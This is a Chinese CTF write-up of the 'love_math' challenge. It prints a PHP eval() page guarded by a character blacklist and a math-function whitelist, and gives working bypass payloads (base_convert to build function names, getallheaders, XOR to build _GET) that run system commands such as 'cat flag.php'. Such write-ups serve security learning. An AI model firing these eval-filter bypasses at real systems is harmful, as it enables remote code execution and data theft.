前言
继续ctf的旅程
开始攻防世界web高手进阶区的8分题
本文是love_math的writeup
解题过程
进来如下
源码完整如下
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
?>
大概是
- 传参c不超过80长度
- 有个黑名单过滤一堆符号
- 有个白名单限制数学函数
先御剑习惯性扫描下
发现一个flag.php
看来这就是我们需要想办法搞定的
访问下试试
。。。。。。
人傻了呀
直接访问成功
攻防世界这个题目环境真的日常有问题
。。。。。。
回过头来看按原题意该怎么搞
思路1
因为引号被黑名单了,无法从函数名中提取字符串
因此我们只能想办法从函数的返回结果中获取
关键函数base_convert函数
可以返回任意字母,不过无法返回_ *
等特殊字符
实现phpinfo()
?c=base_convert(55490343972,10,36)()
实现system('ls')
?c=base_convert(1751504350,10,36)(base_convert(784,10,36))
本来是想搞cat flag
但没搞出来
要么返显有问题
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){
pi}(($$pi){
abs})&pi=system&abs=cat%20/flag
要么超过80长度了
?c=($pi=base_convert)(723938,10,36)($pi(727432,10,36).$pi(37907361743,10,36)(dechex(46)).$pi(33037,10,36)){
1}
然后查了下用system(hex2bin(nl*))
读取所有文件内容
?c=($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))
成功获取flag
思路2
关键函数getallheaders
- 返回的是数组
- 要从数组里面取数据用
array['xxx']
,但是无奈[]
被waf了 - 因为
{}
中是可以带数字的,这里用getallheader(){1}
可以返回自定义头1
里面的内容
用exec(gettallheaders(){1})
读取headers的第1个
?c=$pi=base_convert,$pi(696468,10,36)(($pi(8768397090111664438,10,30))(){
1})
就能获取flag
思路3
用异或获取_GET
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
?>
搜索下_G
和ET
用 _GET{system}(_GET{cat%20flag.php})
即
?c=$pi=($_GET){
pi}(($_GET){
abs})&pi=system&abs=cat%20flag.php
然后替换掉_GET
比如
?c=$pi=(mt_rand^(2).(3)).(tan^(1).(5));($$pi){
pi}(($$pi){
abs})&pi=system&abs=cat%20flag.php
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{
0}($pi{
1})&0=system&1=cat%20flag.php
获取flag
结语
攻防世界的题目环境真的有问题
不过本题蛮有意思的
知识点
- base_convert函数
- hex2bin函数
- getallheaders函数
- php的异或
还是菜啊Q.Q